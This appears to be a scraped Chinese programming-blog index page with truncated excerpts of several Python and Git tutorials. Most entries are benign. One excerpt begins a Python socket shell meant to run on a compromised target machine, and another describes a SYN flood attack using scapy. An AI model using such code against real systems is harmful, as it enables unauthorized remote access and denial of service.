GitHub具体教程TableofContents1Git具体教程1.1Git简单介绍1.1.1Git是何方神圣?1.1.2重要的术语1.1.3索引1.2Git安装1.3Git配置1.3.1用户信息1.3.2高亮显示1.3.3忽略特定的文件1.3.4使用.gitkeep来追踪空的目录1.4開始操作Git1.4.1创建内容1.4.2创建仓库、加入文件和提交更改1.4.3diff命令与commit更改1.4.4Status,Diff和CommitLog1.4.
系统 2019-08-12 01:31:44 2239
有的时候我们在获取到目标电脑时候如果对方电脑又python编译环境时可以利用python反弹shell主要用到pythonos库和sokect库这里的服务端在目标机上运行fromsocketimport*fromosimport*s=socket(AF_INET,SOCK_STREAM)#IVP4寻址tcp协议s.bind(('',6666))#补丁端口s.listen(1)#开始监听一个队列whileTrue:sock,addr=s.accept()#返
系统 2019-09-27 17:56:43 2238
在美国有这样一家奇怪的超市，它将啤酒与尿布这样两个奇怪的东西放在一起进行销售，并且最终让啤酒与尿布这两个看起来没有关联的东西的销量双双增加。这家超市的名字叫做沃尔玛。你会不会觉得有些不可思议？虽然事后证明这个案例确实有根据，美国的太太们常叮嘱她们的丈夫下班后为小孩买尿布，而丈夫们在买尿布后又随手带回了他们喜欢的啤酒。但这毕竟是事后分析，我们更应该关注的，是在这样的场景下，如何找出物品之间的关联规则。接下来就来介绍下如何使用Apriori算法，来找到物品之间
系统 2019-09-27 17:56:32 2238
如何实现自定义一个异常python内置了许多异常类，为编写代码划定红线，才使调试代码时能及时发现错误。那么我们编写一个模块也可以为使用此模块者划定红线，来约束使用者可用哪些数据，这就需要自定义异常类型。首先需要了的是自定义类是的父类：python说明文档中是这样说exceptionException：所有内置的非系统退出类异常都派生自此类。所有用户自定义异常也应当派生自此类。那么就可以通过直接或间接的继承Exception就可以自定义一个异常类，当然也可以
系统 2019-09-27 17:54:44 2238
背景:网络传输层中，一般采用TCP协议，如果要建立连接，客户端会先发送syn包请求，服务器接收，接收后，再传递给客户端ack，syn包，这个时候，客户端再次回应，传回ack包。可是问题就出在，如果我是客户端，只发送一个请求syn包，然后第三次握手的时候，不再往回传ack包，此时服务端是不是就要等待？在等待的时间里，我是不是可以伪造更多的请求，从而不断消耗服务器的资源，然后直到最后服务器停止服务为止？上述这种攻击就是syn泛洪攻击。python中scapy库
系统 2019-09-27 17:54:25 2238
练习杨辉三角定义如下：1/\11/\/\121/\/\/\1331/\/\/\/\14641/\/\/\/\/\15101051把每一行看做一个list，试写一个generator，不断输出下一行的list：期待输出:#[1]#[1,1]#[1,2,1]#[1,3,3,1]#[1,4,6,4,1]#[1,5,10,10,5,1]#[1,6,15,20,15,6,1]#[1,7,21,35,35,21,7,1]#[1,8,28,56,70,56,28,8,1
系统 2019-09-27 17:53:12 2238
前言在JavaWeb开发中，一般使用Zxing来生成和识别二维码，但是，Zxing的识别有点差强人意，不少相对模糊的二维码识别率很低。不过就最新版本的测试来说，识别率有了现显著提高。对比在没接触Python之前，曾使用Zbar的客户端进行识别，测了大概几百张相对模糊的图片，Zbar的识别速度要快很多，识别率也比Zxing稍微准确那边一丢丢，但是，稍微模糊一点就无法识别。相比之下，微信和支付宝的识别效果就逆天了。代码案例#-*-coding:utf-8-*-
系统 2019-09-27 17:50:56 2238
这个乘法表看上去比较舒服，(●’◡’●)foriinrange(1,10):#i取值1到9forjinrange(1,i+1):#j取值1到is="%d*%d=%d"%(j,i,i*j)#赋值乘法公式print(s.ljust(8),end='')#每个字符串占8字符，左对齐，i不变时结尾不换行print()#i变时换行函数defmult(n):foriinrange(1,n+1):forjinrange(1,i+1):s='%d*%d=%d'%(j,i,
系统 2019-09-27 17:49:52 2238
在这篇文章中，我们会介绍如何用Python来搭建一个简单的推荐系统。本文使用的数据集是MovieLens数据集，该数据集由明尼苏达大学的Grouplens研究小组整理。它包含1,10和2亿个评级。Movielens还有一个网站，我们可以注册，撰写评论并获得电影推荐。接下来我们就开始实战演练。在这篇文章中，我们会使用Movielens构建一个基于item的简易的推荐系统。在开始前，第一件事就是导入pandas和numPy。importpandasaspdim
系统 2019-09-27 17:49:14 2238
Pycharm没有内置的python解释器，需要我们自己下载python解释器。在很多python项目中，会导入第三方的模块，逐个去下载导入很不方便。我们通常使用Anaconda来管理python的项目环境，Anaconda自带python解释器，且提供了大量的第三方模块，引入第三方库很方便。Anaconda的安装如果未勾选第一个添加到Path环境变量中，后面需要手动在path环境变量中添加conda.exe所在目录的路径。红框圈出的是Anaconda核心
系统 2019-09-27 17:48:58 2238
